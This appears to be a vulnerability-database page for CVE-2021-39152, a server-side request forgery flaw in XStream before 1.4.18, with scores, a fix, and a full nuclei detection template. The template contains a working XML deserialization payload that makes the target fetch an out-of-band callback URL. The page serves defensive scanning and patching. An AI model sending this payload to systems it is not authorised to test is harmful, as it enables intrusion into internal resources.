HexBrain

Browse / CVEs / CVE-2021-39152

CVE-2021-39152· xstream project / xstream· CWE-502

XStream <1.4.18 - Server-Side Request Forgery

highseverity
8.5CVSS score
11.4%likelihood of exploitation, next 30 days
96%of all CVEs are less likely
Readycheck to confirm it

XStream before 1.4.18 is susceptible to server-side request forgery. An attacker can request data from internal resources that are not publicly available by manipulating the processed input stream with a Java runtime version 14 to 8. This makes it possible to obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.

Impact

Successful exploitation of this vulnerability could result in unauthorized access to sensitive internal resources or services.

Fix

Upgrade XStream to version 1.4.18 or later to mitigate the vulnerability.

How to confirm it

Send: POST /
Positive when: contains in interactsh_protocol "http" AND contains in interactsh_request "User-Agent: Java"

Run it with nuclei: nuclei -id CVE-2021-39152 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2021-39152

info:
  name: XStream <1.4.18 - Server-Side Request Forgery
  author: pwnhxl
  severity: high
  description: |
    XStream before 1.4.18 is susceptible to server-side request forgery. An attacker can request data from internal resources that are not publicly available by manipulating the processed input stream with a Java runtime version 14 to 8. This makes it possible to obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
  impact: |
    Successful exploitation of this vulnerability could result in unauthorized access to sensitive internal resources or services.
  remediation: |
    Upgrade XStream to version 1.4.18 or later to mitigate the vulnerability.
  reference:
    - https://x-stream.github.io/CVE-2021-39152.html
    - https://github.com/x-stream/xstream/security/advisories/GHSA-xw4p-crpj-vjx2
    - https://security.netapp.com/advisory/ntap-20210923-0003/
    - https://nvd.nist.gov/vuln/detail/cve-2021-39152
    - https://lists.debian.org/debian-lts-announce/2021/09/msg00017.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 8.5
    cve-id: CVE-2021-39152
    cwe-id: CWE-502
    epss-score: 0.11377
    epss-percentile: 0.96026
    cpe: cpe:2.3:a:xstream_project:xstream:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: xstream_project
    product: xstream
  tags: cve2021,cve,xstream,ssrf,oast,xstream_project,vuln,vkev

http:
  - raw:
      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/xml

        <map>
          <entry>
            <jdk.nashorn.internal.runtime.Source_-URLData>
              <url>http://{{interactsh-url}}/internal/</url>
              <cs>GBK</cs>
              <hash>1111</hash>
              <array>b</array>
              <length>0</length>
              <lastModified>0</lastModified>
            </jdk.nashorn.internal.runtime.Source_-URLData>
            <jdk.nashorn.internal.runtime.Source_-URLData reference='../jdk.nashorn.internal.runtime.Source_-URLData'/>
          </entry>
          <entry>
            <jdk.nashorn.internal.runtime.Source_-URLData>
              <url>http://{{interactsh-url}}/internal/</url>
              <cs reference='../../../entry/jdk.nashorn.internal.runtime.Source_-URLData/cs'/>
              <hash>1111</hash>
              <array>b</array>
              <length>0</length>
              <lastModified>0</lastModified>
            </jdk.nashorn.internal.runtime.Source_-URLData>
            <jdk.nashorn.internal.runtime.Source_-URLData reference='../jdk.nashorn.internal.runtime.Source_-URLData'/>
          </entry>
        </map>

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"

      - type: word
        part: interactsh_request
        words:
          - "User-Agent: Java"

References

Use this check only on systems you are authorised to test. Where the data comes from